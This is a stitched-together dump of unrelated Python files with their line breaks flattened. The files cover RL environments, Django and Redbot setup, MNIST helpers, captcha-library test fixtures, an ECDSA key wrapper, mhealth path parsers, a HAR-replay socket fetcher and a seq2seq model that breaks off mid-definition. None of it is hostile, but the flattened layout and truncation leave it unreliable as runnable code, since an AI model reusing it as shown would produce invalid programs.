the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' import tensorflow as tf import numpy as np from .tf_env import GymEnv, GymEnvWrapper, GymAtariWrapper from.tf_subproc import SubprocVecEnv from.import atari def make(game, batch_size, *args, **kwargs): if game in atari.games: return atari.AtariEnv(game, batch_size, *args, **kwargs) if game == 'humanoid': return mujoco.HumanoidMO('Humanoid-v1', batch_size, *args, **kwargs) if game.startswith('par.'): return SubprocVecEnv([lambda: make(game[4:], 1, *args, **kwargs) for _ in range(batch_size)]) if game.startswith('gym.'): return GymEnv(game[4:], batch_size, *args, **kwargs) raise NotImplementedError(game) def get_ref_batch(make_env_f, sess, batch_size): env = make_env_f(1) assert env.discrete_action actions = tf.random_uniform((1,), minval=0, maxval=env.action_space, dtype=tf.int32) reset_op = env.reset() obs_op = env.observation() rew_op, done_op=env.step(actions) sess.run(tf.global_variables_initializer()) sess.run(reset_op) ref_batch = [] while len(ref_batch) < batch_size: obs, done = sess.run([obs_op, done_op]) ref_batch.append(obs) if done.any(): sess.run(reset_op) return np.concatenate(ref_batch) from redbot.core.bot import Red from cogwhitelist.cogwhitelist import CogWhitelist def setup(bot: Red): bot.add_cog(CogWhitelist(bot)) from django.apps import AppConfig from django.utils.translation import ugettext_lazy as _ class WebsiteConfig(AppConfig): name = 'website' verbose_name = _('app_website') def ready(self): from website import signals from django import forms # Add your forms here django_backbone/contact/tests/__init__.py """Tests for the 'contact' app""" class Chest(object): """Take in items and handle opening and closing of chests and loot. * Treasure Chest * Storage Chest """ def __init__(self, name, content, key, type): self.name = name self.content = content def open_chest(self): pass fuzzmz/Python_and_the_Web1-10 import tensorflow as tf import numpy as np import matplotlib.pyplot as plt # loading dependencies def load_data(): # method for loading mnist dataset (x_train, y_train), (x_test, y_test) = tf.keras.datasets.mnist.load_data() x_train = np.reshape(x_train, (x_train.shape[0], 784))/255. x_test = np.reshape(x_test, (x_test.shape[0], 784))/255. # normalization of images y_train = tf.keras.utils.to_categorical(y_train) # converting to categorical fearures y_test = tf.keras.utils.to_categorical(y_test) return (x_train, y_train), (x_test, y_test) def plot_random_examples(x, y, p=None): # function that samples randomly and plots images indices = np.random.choice(range(0, x.shape[0]), 10) y = np.argmax(y, axis=1) if p is None: p = y plt.figure(figsize=(10, 5)) for i, index in enumerate(indices): plt.subplot(2, 5, i+1) plt.imshow(x[index].reshape((28, 28)), cmap='binary') plt.xticks([]) plt.yticks([]) if y[index] == p[index]: col = 'g' else: col = 'r' plt.xlabel(str(p[index]), color=col) return plt def plot_results(history): # function that accepts history object from keras and plots the Loss,Accuracy,Validation Accuracy history = history.history plt.figure(figsize=(12, 4)) epochs = len(history['val_loss']) plt.subplot(1, 2, 1) plt.plot(range(epochs), history['val_loss'], label='Val Loss') plt.plot(range(epochs), history['loss'], label='Train Loss') plt.xticks(list(range(epochs))) plt.xlabel('Epochs') plt.ylabel('Loss') plt.legend() plt.subplot(1, 2, 2) plt.plot(range(epochs), history['val_accuracy'], label='Val Acc') plt.plot(range(epochs), history['accuracy'], label='Acc') plt.xticks(list(range(epochs))) plt.xlabel('Epochs') plt.ylabel('Accuracy') plt.legend() return plt default_app_config = "wagtail_wordpress_import.test.apps.WagtailWordpressImportTestAppConfig" # -*- coding: UTF-8 -*- import enum import importlib import os.path import random import string import sys from pytest import fixture cd = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.insert(1, cd) from unicaps._captcha import CaptchaType @fixture() def services(): pass @fixture() def captcha_service(): pass def gen_random_word(length): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(length)) def get_random_value(field): cls = getattr(field.type, '__args__', [field.type])[0] if cls is str: return gen_random_word(10) elif cls is bytes: return gen_random_word(32).encode('utf-8') elif cls is int: return random.randint(1, 255) elif cls is bool: return bool(random.randint(0, 1)) # elif cls.__base__ is enum.Enum: elif issubclass(cls, enum.Enum): return getattr(cls, cls._member_names_[0]) return cls() @fixture(scope="module", params=CaptchaType) def captcha_class(request): captcha_package = importlib.import_module('unicaps.captcha') return getattr(captcha_package, request.param.value) @fixture(scope="module") def captcha_instance(captcha_class): # return random_dataclass_init(captcha_class) params = captcha_class.__dataclass_fields__.copy() for name, field in params.items(): params[name] = get_random_value(field) # for ImageCaptcha if name == 'image': params[name] = params[name][:6] + b'Exif' + params[name][10:] return captcha_class(**params) 0 import hashlib import ecdsa.ellipticcurve import ecdsa.util from ecdsa.curves import SECP256k1 from ecdsa.keys import SigningKey, VerifyingKey class PublicKey(object): def __init__(self, pubkey: bytes): if len(pubkey) != 64 + 1 or pubkey[0] != 0x04: raise ValueError self.vk = VerifyingKey.from_string(pubkey[1:], SECP256k1, validate_point=True) def serialize(self, compressed=True): if compressed: raise NotImplementedError return b"\x04" + self.vk.to_string() def verify( self, msg: bytes, raw_sig: bytes, raw=False, hashfunc=hashlib.sha256 ) -> bool: try: if not raw: return self.vk.verify(raw_sig, msg, hashfunc, ecdsa.util.sigdecode_der) else: return self.vk.verify_digest(raw_sig, msg, ecdsa.util.sigdecode_der) except ecdsa.keys.BadSignatureError: return False class PrivateKey(object): def __init__(self, sk=None): if sk is None: self.sk = SigningKey.generate(SECP256k1) else: self.sk = SigningKey.from_string(sk, SECP256k1) @property def pubkey(self): return PublicKey(b"\x04" + self.sk.get_verifying_key().to_string()) def serialize(self): return self.sk.to_string() def sign(self, msg, raw=False, hashfunc=hashlib.sha256): if not raw: signature = self.sk.sign( msg, hashfunc=hashfunc, sigencode=ecdsa.util.sigencode_der_canonize ) else: signature = self.sk.sign_digest( msg, sigencode=ecdsa.util.sigencode_der_canonize ) return signature def exchange(self, public_key: PublicKey) -> bytes: # ECDH as computed by libsecpk256k1 point = self.sk.privkey.secret_multiplier * public_key.vk.pubkey.point if point.y() & 1 == 1: msg = b"\x03" + point.x().to_bytes(32, "big") else: msg = b"\x02" + point.x().to_bytes(32, "big") md = hashlib.sha256(msg) return md.digest() qutang/arus from . import constants import datetime as dt import pandas as pd import os import re from .. import moment class ParseError(Exception): pass def parse_column_names_from_data_type(data_type): if data_type in ['AccelerometerCalibrated', 'IMUAccelerometerCalibrated', 'AccelerationCalibrated']: return ['ACCELEROMETER_X', 'ACCELEROMETER_Y', 'ACCELEROMETER_Z'] elif data_type in ['IMUTenAxes']: return ["ACCELEROMETER_X", "ACCELEROMETER_Y", "ACCELEROMETER_Z", "TEMPERATURE", "GYROSCOPE_X", "GYROSCOPE_Y", "GYROSCOPE_Z", "MAGNETOMETER_X", "MAGNETOMETER_Y", "MAGNETOMETER_Z"] elif data_type in ['IMUGyroscope']: return ["GYROSCOPE_X", "GYROSCOPE_Y", "GYROSCOPE_Z"] elif data_type in ['IMUMagnetometer']: return ["MAGNETOMETER_X", "MAGNETOMETER_Y", "MAGNETOMETER_Z"] elif data_type in ['IMUTemperature']: return ['TEMPERATURE'] else: raise NotImplementedError( f"The given data type {data_type} is not supported") def parse_column_names_from_filepath(filepath): data_type = parse_data_type_from_filepath(filepath) return parse_column_names_from_data_type(data_type) def parse_placement_from_str(placement_str): result = '' placement_str = placement_str.lower() if 'nondominant' in placement_str or 'non-dominant' in placement_str or 'non dominant' in placement_str or placement_str.startswith('nd'): result = 'ND' elif 'dominant' in placement_str or placement_str.startswith('d'): result = 'D' if 'ankle' in placement_str or placement_str.endswith('da'): result += 'A' elif 'wrist' in placement_str or placement_str.endswith('dw'): result += 'W' elif 'waist' in placement_str or 'hip' in placement_str or placement_str.endswith('dh'): result += 'H' elif 'thigh' in placement_str or placement_str.endswith('dt'): result += 'T' return result def parse_date_from_filepath(filepath, ignore_tz=True): tokens = filepath.split(constants.MASTER_FOLDER)[1].split(os.sep) if '-' in tokens[1]: sep = '-' else: sep = os.sep if sep == os.sep: hour = tokens[4].split('-')[0] day = tokens[3] month = tokens[2] year = tokens[1] elif sep == '-': hour = tokens[2].split('-')[0] sub_tokens = tokens[1].split('-') day = sub_tokens[-1] month = sub_tokens[1] year = sub_tokens[0] file_date = dt.datetime(year=int(year), month=int(month), day=int( day), hour=int(hour), minute=0, second=0, microsecond=0) return file_date def parse_timestamp_from_filepath_content(filepath, ts_col=0, ignore_tz=True): first_row = pd.read_csv(filepath, nrows=1, header=0, parse_dates=[ ts_col], infer_datetime_format=True) return first_row.iloc[0, ts_col] def parse_timestamp_from_filepath(filepath, ignore_tz=True): filename = os.path.basename(filepath) if filename.endswith('gz'): timestamp_index = -4 else: timestamp_index = -3 timestamp_str = filename.split('.')[timestamp_index] if ignore_tz: timestamp_str = timestamp_str[:-6] result = dt.datetime.strptime( timestamp_str, constants.FILE_TIMESTAMP_FORMAT) else: timestamp_str = timestamp_str.replace('P', '+').replace('M', '-') result = dt.datetime.strptime( timestamp_str, constants.FILE_TIMESTAMP_FORMAT_WITH_TZ) return result def parse_annotation_type_from_filepath(filepath): return os.path.basename(filepath).split('.')[0] def parse_annotator_from_filepath(filepath): return os.path.basename(filepath).split('.')[1] def parse_sensor_type_from_filepath(filepath): result = os.path.basename(filepath).split('.')[0].split('-')[0] return result def parse_data_type_from_filepath(filepath): return os.path.basename(filepath).split('.')[0].split('-')[1] def parse_version_code_from_filepath(filepath): return os.path.basename(filepath).split('.')[0].split('-')[2] def parse_sensor_id_from_filepath(filepath): return os.path.basename(filepath).split('.')[1].split('-')[0] def parse_data_id_from_filepath(filepath): return os.path.basename(filepath).split('.')[1] def parse_pid_from_filepath(filepath): try: assert is_mhealth_filepath( filepath) or is_mhealth_flat_filepath(filepath) pid = os.path.basename( os.path.dirname( filepath.split(constants.MASTER_FOLDER)[ 0].split(constants.DERIVED_FOLDER)[0] ) ) return pid except Exception: raise ParseError('Fail to parse pid for the given filepath') def parse_subject_path_from_filepath(filepath): try: assert is_mhealth_filepath( filepath) or is_mhealth_flat_filepath(filepath) subject_folder = os.path.dirname( filepath.split(constants.MASTER_FOLDER)[ 0].split(constants.DERIVED_FOLDER)[0] ) return subject_folder except Exception: raise ParseError('Fail to parse pid for the given filepath') def parse_filetype_from_filepath(filepath): filename = os.path.basename(filepath) if filename.endswith('gz'): return filename.split('.')[-3] else: return filename.split('.')[-2] def parse_datetime_columns_from_filepath(filepath): """Utility to get the timestamp column indices given file type Args: filepath (str): mhealth file path. Returns: col_indices (list): list of column indices (0 based) """ filetype = parse_filetype_from_filepath(filepath) if filetype == constants.SENSOR_FILE_TYPE: return [0] elif filetype in [constants.ANNOTATION_FILE_TYPE, constants.FEATURE_FILE_TYPE, constants.CLASS_FILE_TYPE, constants.FEATURE_SET_FILE_TYPE]: return [0, 1, 2] else: raise NotImplementedError( 'The given file type {} is not supported'.format(filetype)) def format_columns(data, filetype): data = data.rename(columns={data.columns[0]: constants.TIMESTAMP_COL}) if filetype == constants.ANNOTATION_FILE_TYPE: data.columns = constants.FEATURE_SET_TIMESTAMP_COLS + \ [constants.ANNOTATION_LABEL_COL] elif filetype == constants.SENSOR_FILE_TYPE: # COLUMN names should be A-Z0-9_ data.columns = list( map(lambda col: col.upper().replace(' ', '_'), data.columns)) return data def format_file_timestamp_from_data(data, filetype): if filetype == constants.SENSOR_FILE_TYPE: col = 0 else: col = 1 st = moment.Moment(data.iloc[0, col]).to_datetime( tz=moment.Moment.get_local_timezone()) timestamp_str = st.strftime(constants.FILE_TIMESTAMP_FORMAT)[:-3] timestamp_str += '-' + \ st.strftime('%z').replace('-', 'M').replace('+', 'P') return timestamp_str def format_date_folder_path_from_data(data, filetype): if filetype == constants.SENSOR_FILE_TYPE: col = 0 else: col = 1 st = moment.Moment(data.iloc[0, col]).to_datetime( tz=moment.Moment.get_local_timezone()) year = st.strftime('%Y') month = st.strftime('%m') day = st.strftime('%d') hour = st.strftime('%H') return year + '-' + month + '-' + day + os.sep + hour def compare_two_mhealth_filepaths(filepath1, filepath2): sections1 = [os.path.dirname(filepath1)] sections2 = [os.path.dirname(filepath2)] name1 = os.path.basename(filepath1).strip('.gz') name2 = os.path.basename(filepath2).strip('.gz') sections1 += name1.split('.') sections2 += name2.split('.') if len(sections1) != len(sections2): return False for section1, section2 in zip(sections1, sections2): if section1 != section2 and sections1.index(section1) != 3: return False return True def transform_class_category(input_label, class_category, input_category, output_category): cond = class_category[input_category] == input_label return class_category.loc[cond, output_category].values[0] def is_mhealth_filepath(filepath): """Validate if input file path is in mhealth format Args: filepath (str): input file path Returns: is_mhealth (bool): `True` if the input is in mhealth format """ filepath = os.path.abspath(filepath) matched = re.search( constants.MHEALTH_FILEPATH_PATTERN, filepath) return matched is not None def is_mhealth_flat_filepath(filepath): """Validate if input file path is in mhealth format (flat structure) The flat structure stores all files directly in the `MasterSynced` folder in the pid folder, ignoring all date and hour folders. Args: filepath (str): input file path Returns: is_mhealth (bool): `True` if the input is in mhealth flat format """ matched = re.search( constants.MHEALTH_FLAT_FILEPATH_PATTERN, os.path.abspath(filepath) ) return matched is not None def is_mhealth_filename(filepath): filename = os.path.basename(filepath) sensor_filename_pattern = r"^{}\-{}\-{}\.{}\-{}\.{}\.sensor\.csv(\.gz)*$".format( constants.CAMELCASE_PATTERN, constants.CAMELCASE_PATTERN, constants.VERSIONCODE_PATTERN, constants.SID_PATTERN, constants.CAMELCASE_PATTERN, constants.FILE_TIMESTAMP_PATTERN ) annotation_filename_pattern = r"^{}\.{}\-{}\.{}\.annotation\.csv(\.gz)*$".format( constants.CAMELCASE_PATTERN, constants.ANNOTATOR_PATTERN, constants.CAMELCASE_PATTERN, constants.FILE_TIMESTAMP_PATTERN) sensor_matched = re.search( sensor_filename_pattern, filename ) annotation_matched = re.search( annotation_filename_pattern, filename ) return sensor_matched is not None or annotation_matched is not None # pcontracts_example_1.py # Copyright (c) 2013-2016 # See LICENSE for details # pylint: disable=C0111,W0702 from __future__ import print_function import putil.ptypes @putil.pcontracts.contract(name='file_name') def print_if_fname_valid(name): """ Sample function 1 """ print('Valid file name: {0}'.format(name)) @putil.pcontracts.contract(num=int, name='file_name_exists') def print_if_fname_exists(num, name): """ Sample function 2 """ print('Valid file name: [{0}] {1}'.format(num, name)) 0 # Copyright 2021 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from typing import Any from pants.option.option_types import BoolOption, DictOption from pants.option.subsystem import Subsystem from pants.util.strutil import softwrap class JavaInferSubsystem(Subsystem): options_scope = "java-infer" help = "Options controlling which dependencies will be inferred for Java targets." imports = BoolOption( "--imports", default=True, help="Infer a target's dependencies by parsing import statements from sources.", ) consumed_types = BoolOption( "--consumed-types", default=True, help="Infer a target's dependencies by parsing consumed types from sources.", ) # TODO: Move to `coursier` or a generic `jvm` subsystem. third_party_import_mapping = DictOption[Any]( "--third-party-import-mapping", help=softwrap( """ A dictionary mapping a Java package path to a JVM artifact coordinate (GROUP:ARTIFACT) without the version. See `jvm_artifact` for more information on the mapping syntax. """ ), ) #!/usr/bin/env python import urllib import sys, os assert sys.version_info[:2] >= ( 2, 4 ) CHUNK = 2**20 # 1Mb MAXSIZE = CHUNK * 100 if __name__ == '__main__': if len(sys.argv) != 3: print 'Usage ucsc.py input_params output_file' sys.exit() inp_file = sys.argv[1] out_file = sys.argv[2] DEFAULT_URL = "http://genome.ucsc.edu/hgTables?" # this must stay a list to allow multiple selections for the same widget name (checkboxes) params = [] for line in file(inp_file): line = line.strip() if line: parts = line.split('=') if len(parts) == 0: key = "" value = "" elif len(parts) == 1: key = parts[0] value = "" else: key = parts[0] value = parts[1] if key == 'display': print value # get url from params, refered from proxy.py, initialized by the tool xml elif key == 'proxy_url': DEFAULT_URL = value else: params.append( (key, value) ) #print params encoded_params = urllib.urlencode(params) url = DEFAULT_URL + encoded_params #print url page = urllib.urlopen(url) fp = open(out_file, 'wt') size = 0 while 1: data = page.read(CHUNK) if not data: break if size > MAXSIZE: fp.write('----- maximum datasize exceeded ---\n') break size += len(data) fp.write(data) fp.close() import os from thesis import config, constants from thesis.experiments import pg_time_train_iter_cc from thesis.memory import prio_offline_memory from thesis.runner import runner def buildconf(exp_name: str, env: str, version: str) -> dict: conf = pg_time_train_iter_cc.make_conf(exp_name) conf["env"] = config.make_env(env, version) conf["runner"]["experiment"] = { "schedule": "train_and_eval", "seed": 4, "steps": int(1e3), "iterations": 500, "eval_period": 2, } return conf def buildconf_priority(exp_name: str, env: str, version: str) -> dict: conf = buildconf(exp_name, env, version) conf["memory"][ "call_" ] = prio_offline_memory.PrioritizedOfflineOutOfGraphReplayBuffer return conf def make_confs( exp_name: str, env: str, version: str, env_folder: str, data_basedir: str, conf_builder: callable = buildconf, ): return runner.expand_conf( conf_builder(exp_name, env, version), 3, buffers_root_dir=os.path.join( data_basedir, f"{env}-{version}/DQNAgent/{env_folder}_dqn_full_experience_%%/checkpoints/full_experience", ), ) def classic_confs(datadir) -> list: return [ make_confs("cp_dqvmax_distr_shift_baseline", "CartPole", "v1", "cp", datadir), make_confs("ab_dqvmax_distr_shift_baseline", "Acrobot", "v1", "ab", datadir), ] def priority_confs(datadir) -> list: return [ make_confs( "cp_dqvmax_distr_shift_prio", "CartPole", "v1", "cp", datadir, conf_builder=buildconf_priority, ), make_confs( "ab_dqvmax_distr_shift_prio", "Acrobot", "v1", "ab", datadir, conf_builder=buildconf_priority, ), ] if __name__ == "__main__": logs_dir = constants.data_dir # logs_dir = constants.peregrine_data_dir confs = classic_confs(logs_dir) # confs = priority_confs(logs_dir) confs = [c for c_env in confs for c in c_env] runner.p_run_experiments(confs, logs_dir=logs_dir) from braintree.resource import Resource class OAuthCredentials(Resource): pass import headering import glob import pprint import sys import os if len(sys.argv)>1: p = sys.argv[1:] else: print "Usage: pymol -cq ./headerTest.py -- MTZTestDirectory" sys.exit(1) for curPath in p: print "Processing MTZ files in path: '%s'" % curPath l = glob.glob(curPath + os.sep + "*.mtz") d = {} for mtzFile in l: print "Processing %s." % mtzFile d[mtzFile] = headering.MTZHeader(mtzFile) for f in d: print "Columns for file '%s':" % f pprint.pprint(d[f].getColumns()) print "" for f in d: print "Columns of type W ofr file '%s':" % f pprint.pprint(d[f].getColumnsOfType("W")) print "" import socket import json import base64 import time import os import threading timeout = 2.4 # change to low for low latency connections debug = 0 if not debug: while 1: try: numThreadsPerDomain = int(input("Enter the number of Threads Per Domain: ")) numObjectsPerThread = int(input("Enter the number of Objects Per Thread: ")) harfile_name = input("Enter the HAR File Name: ") harfile = open(harfile_name,"r") # pipe = int(input("Enter 1 for Pipelined Execution and 0 for not: ")) pipe = 0 PIPELINED = False if pipe ==1 else False break except: print("Invalid input. Please try again.") else: numThreadsPerDomain = 3 numObjectsPerThread = 2 harfile_name = "bbc.har" harfile = open(harfile_name,"r") PIPELINED = False foldername = '.'.join(harfile_name.split(".")[0:-1]) har_json = json.load(harfile) num_requests = len(har_json["log"]["entries"]) domain_dict = {} act = threading.activeCount() def fetch_thread(request_small): if not PIPELINED: for i in request_small: # print(threading.current_thread().name, " Processed url ", i["request"]["url"]) url = i["request"]["url"] prefix = url[0:5] # print(url) if prefix != "http:": print("skipped ", url) continue url_split = url.split("://") content_file_path = foldername content_file_path = content_file_path + "/" + url_split[-1] if 1==1:#int(i["response"]["content"]["size"])!=0: har_req = i["request"] http_version = "HTTP" + har_req["httpVersion"][4:] request_str= har_req["method"] + " /" + har_req["url"].split("//")[1].split("/",maxsplit=1)[-1]+" "+ http_version + "\n" hostname = (har_req["url"].split("//")[1]).split("/")[0] request_str = request_str + "Host"+": " + hostname+"\n" for el in har_req["headers"]: if el["name"] not in ("User-Agent","Connection"):continue request_str = request_str + el["name"]+": " + el["value"]+"\n" request_str = request_str + "\n" # print("------------------------------") # print(request_str) # print("------------------------------") encoded_request = request_str.encode() client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # print("Hostname is ", hostname) client_socket.connect((hostname, 80)) client_socket.send(encoded_request) received_bytes = b"" client_socket.settimeout(timeout) while 1: try: msg = client_socket.recv(1024) if(len(msg)==0): break received_bytes = received_bytes + msg except: break split = received_bytes.split(b"\r\n\r\n") if len(received_bytes)<1 or len(split)<2: # print("unsplit ", url, "byter r ", received_bytes) continue client_socket.close() if(len(split[0])<8): header = split[1] content = split[2] else: header = split[0] content = split[1] # print("c is " ,foldername, " ",content_file_path) if content_file_path[-1]=="/": content_file_path = content_file_path + "index.html" if len(content_file_path)>90: # print("Truncated a name") content_file_path = content_file_path[:90] if not os.path.exists(os.path.dirname(content_file_path)): try: os.makedirs(os.path.dirname(content_file_path)) except: # Guard against race condition print("Error :Race") headerfile = open(content_file_path+"_header","wb") headerfile.write(header) headerfile.close() print("Processed ",content_file_path) contentfile = open(content_file_path,"wb") contentfile.write(content) contentfile.close() # else: # for i in request_small: def dom_thread_fun(reqlist): tl = [] done = 0 tind = 0 while len(reqlist) != done: while len(tl) >= numThreadsPerDomain: for th in tl: if not th.isAlive(): tl.remove(th) break tempList = reqlist[done:min(done+numObjectsPerThread, len(reqlist))] done += len(tempList) nt = threading.Thread(name=threading.current_thread().name+"fetch"+str(tind),target=fetch_thread,args=(tempList,)) tl.append(nt) tind+=1 nt.start() start_time = time.time() for i in har_json["log"]["entries"]: domain_name = i["request"]["url"].split("//",maxsplit=1)[-1].split("/")[0].split(".",maxsplit=1)[1] if domain_name in domain_dict.keys(): domain_dict[domain_name].append(i) else: domain_dict[domain_name] = [i] list_of_threads = [] for dom in domain_dict.keys(): t = threading.Thread(name=dom,target=dom_thread_fun,args=(domain_dict[dom],)) list_of_threads.append(t) t.start() while(threading.activeCount()!=act): # print("-") pass elapsed_time = time.time() - start_time print("Time Elasped is ", elapsed_time)pauloxnet/pycon import strawberry from pythonit_toolkit.api.extensions import SentryExtension from src.api.mutation import Mutation from src.api.query import Query from src.api.types.user import User schema = strawberry.federation.Schema( query=Query, mutation=Mutation, types=[User], extensions=[SentryExtension] ) import torch import torch.nn as nn import torch.nn.functional as F import logging from typing import List from typing import Dict from typing import Tuple import os import shutil from seq2seq.cnn_model import ConvolutionalNet from seq2seq.cnn_model import DownSamplingConvolutionalNet from seq2seq.seq2seq_model import EncoderRNN from seq2seq.seq2seq_model import Attention from seq2seq.seq2seq_model import BahdanauAttentionDecoderRNN logger = logging.getLogger(__name__) use_cuda = True if torch.cuda.is_available() else False class Model(nn.Module): def __init__(self, input_vocabulary_size: int, embedding_dimension: int, encoder_hidden_size: int, num_encoder_layers: int, target_vocabulary_size: int, encoder_dropout_p: float, encoder_bidirectional: bool, num_decoder_layers: int, decoder_dropout_p: float, decoder_hidden_size: int, num_cnn_channels: int, cnn_kernel_size: int, cnn_dropout_p: float, cnn_hidden_num_channels: int, input_padding_idx: int, target_pad_idx: int, target_eos_idx: int, output_directory: str, conditional_attention: bool, auxiliary_task: bool, simple_situation_representation: bool, attention_type: str, target_position_size: int, intervene_dimension_size: int, **kwargs): super(Model, self).__init__() logger.warning(f"Model output directory: {output_directory}") self.simple_situation_representation = simple_situation_representation if not simple_situation_representation: logger.warning("DownSamplingConvolutionalNet not correctly implemented. Update or set " "--simple_situation_representation") self.downsample_image = DownSamplingConvolutionalNet(num_channels=num_cnn_channels, num_conv_channels=cnn_hidden_num_channels, dropout_probability=cnn_dropout_p) cnn_input_channels = cnn_hidden_num_channels else: cnn_input_channels = num_cnn_channels # Input: [batch_size, image_width, image_width, num_channels] # Output: [batch_size, image_width * image_width, num_conv_channels * 3] self.situation_encoder = ConvolutionalNet(num_channels=cnn_input_channels, cnn_kernel_size=cnn_kernel_size, num_conv_channels=cnn_hidden_num_channels, dropout_probability=cnn_dropout_p) # Attention over the output features of the ConvolutionalNet. # Input: [bsz, 1, decoder_hidden_size], [bsz, image_width * image_width, cnn_hidden_num_channels * 3] # Output: [bsz, 1, decoder_hidden_size], [bsz, 1, image_width * image_width] self.visual_attention = Attention(key_size=cnn_hidden_num_channels * 3, query_size=decoder_hidden_size, hidden_size=decoder_hidden_size) self.auxiliary_task = auxiliary_task if auxiliary_task: self.auxiliary_loss_criterion = nn.NLLLoss() # Input: [batch_size, max_input_length] # Output: [batch_size, hidden_size], [batch_size, max_input_length, hidden_size] self.encoder = EncoderRNN(input_size=input_vocabulary_size, embedding_dim=embedding_dimension, rnn_input_size=embedding_dimension, hidden_size=encoder_hidden_size, num_layers=num_encoder_layers, dropout_probability=encoder_dropout_p, bidirectional=encoder_bidirectional, padding_idx=input_padding_idx) # Used to project the final encoder state to the decoder hidden state such that it can be initialized with it. self.enc_hidden_to_dec_hidden = nn.Linear(encoder_hidden_size, decoder_hidden_size) self.textual_attention = Attention(key_size=encoder_hidden_size, query_size=decoder_hidden_size, hidden_size=decoder_hidden_size) # Input: [batch_size, max_target_length], initial hidden: ([batch_size, hidden_size], [batch_size, hidden_size]) # Input for attention: [batch_size, max_input_length, hidden_size], # [batch_size, image_width * image_width, hidden_size] # Output: [max_target_length, batch_size, target_vocabulary_size] self.attention_type = attention_type if attention_type == "bahdanau": self.attention_decoder = BahdanauAttentionDecoderRNN(hidden_size=decoder_hidden_size, output_size=target_vocabulary_size, num_layers=num_decoder_layers, dropout_probability=decoder_dropout_p, padding_idx=target_pad_idx, textual_attention=self.textual_attention, visual_attention=self.visual_attention, conditional_attention=conditional_attention) else: raise ValueError("Unknown attention type {} specified.".format(attention_type)) self.decoder_hidden_init = nn.Linear(3*decoder_hidden_size, decoder_hidden_size) # We use these two variables to encode target and agent position offsets. # Be careful that this is NOT the x, y for the target, IT IS the relative # x, y for the target w.r.t. the agent. self.target_position_decoder_x = nn.Linear(intervene_dimension_size, target_position_size) self.target_position_decoder_y = nn.Linear(intervene_dimension_size, target_position_size) self.size_decoder = nn.Linear(intervene_dimension_size, 2) self.color_decoder = nn.Linear(intervene_dimension_size, 4) self.shape_decoder = nn.Linear(intervene_dimension_size, 3) self.target_eos_idx = target_eos_idx self.target_pad_idx = target_pad_idx self.loss_criterion = nn.NLLLoss(ignore_index=target_pad_idx) self.tanh = nn.Tanh() self.output_directory = output_directory self.trained_iterations = 0 self.best_iteration = 0 self.best_exact_match = 0 self.best_accuracy = 0 @staticmethod def remove_start_of_sequence(input_tensor: torch.Tensor) -> torch.Tensor: """Get rid of SOS-tokens in targets batch and append a padding token to each example in the batch.""" batch_size, max_time = input_tensor.size() input_tensor = input_tensor[:, 1:] output_tensor = torch.cat([input_tensor, torch.zeros(batch_size, device=input_tensor.device, dtype=torch.long).unsqueeze( dim=1)], dim=1) return output_tensor def get_metrics(self, target_scores: torch.Tensor, targets: torch.Tensor) -> Tuple[float, float]: """ :param target_scores: probabilities over target vocabulary outputted by the model, of size [batch_size, max_target_length, target_vocab_size] :param targets: ground-truth targets of size [batch_size, max_target_length] :return: scalar float of accuracy averaged over sequence length and batch size. """ with torch.no_grad(): targets = self.remove_start_of_sequence(targets) mask = (targets != self.target_pad_idx).long() total = mask.sum().data.item() predicted_targets = target_scores.max(dim=2)[1] equal_targets = torch.eq(targets.data, predicted_targets.data).long() match_targets = (equal_targets * mask) match_sum_per_example = match_targets.sum(dim=1) expected_sum_per_example = mask.sum(dim=1) batch_size = expected_sum_per_example.size(0) exact_match = 100. * (match_sum_per_example == expected_sum_per_example).sum().data.item() / batch_size match_targets_sum = match_targets.sum().data.item() accuracy = 100. * match_targets_sum / total return accuracy, exact_match @staticmethod def get_auxiliary_accuracy(target_scores: torch.Tensor, targets: torch.Tensor) -> float: with torch.no_grad(): predicted_targets = target_scores.max(dim=1)[1] equal_targets = torch.eq(targets.data, predicted_targets.data).long().sum().data.item() accuracy = 100. * equal_targets / len(targets) return accuracy def get_loss(self, target_scores: torch.Tensor, targets: torch.Tensor) -> torch.Tensor: """ :param target_scores: probabilities over target vocabulary outputted by the model, of size [batch_size, max_target_length, target_vocab_size] :param targets: ground-truth targets of size [batch_size, max_target_length] :return: scalar negative log-likelihood loss averaged over the sequence length and batch size. """ targets = self.remove_start_of_sequence(targets) # Calculate the loss. _, _, vocabulary_size = target_scores.size() target_scores_2d = target_scores.reshape(-1, vocabulary_size) loss = self.loss_criterion(target_scores_2d, targets.view(-1)) return loss def get_auxiliary_loss(self, auxiliary_scores_target: torch.Tensor, target_target_positions: torch.Tensor): target_loss = self.auxiliary_loss_criterion(auxiliary_scores_target, target_target_positions.view(-1)) return target_loss def get_cf_auxiliary_loss(self, target_position_scores, target_positions): loss = self.loss_criterion(target_position_scores, target_positions.view(-1)) return loss def get_cf_auxiliary_metrics(self, target_position_scores, target_positions): predicted_target_positions = target_position_scores.max(dim=-1)[1] equal_targets = torch.eq(target_positions.data, predicted_target_positions.data).long() match_sum_per_batch = equal_targets.sum() batch_size = target_position_scores.size(0) exact_match = 100. * match_sum_per_batch / batch_size return exact_match def auxiliary_task_forward(self, output_scores_target_pos: torch.Tensor) -> torch.Tensor: assert self.auxiliary_task, "Please set auxiliary_task to True if using it." batch_size, _ = output_scores_target_pos.size() output_scores_target_pos = F.log_softmax(output_scores_target_pos, -1) return output_scores_target_pos def encode_input(self, commands_input: torch.LongTensor, commands_lengths: List[int], situations_input: torch.Tensor) -> Dict[str, torch.Tensor]: """Pass the input commands through an RNN encoder and the situation input through a CNN encoder.""" if not self.simple_situation_representation: situations_input = self.downsample_image(situations_input) encoded_image = self.situation_encoder(situations_input) hidden, encoder_outputs = self.encoder(commands_input, commands_lengths) return {"encoded_situations": encoded_image, "encoded_commands": encoder_outputs, "hidden_states": hidden} def decode_input(self, target_token: torch.LongTensor, hidden: Tuple[torch.Tensor, torch.Tensor], encoder_outputs: torch.Tensor, input_lengths: List[int], encoded_situations: torch.Tensor) -> Tuple[torch.Tensor, Tuple[torch.Tensor, torch.Tensor], torch.Tensor, 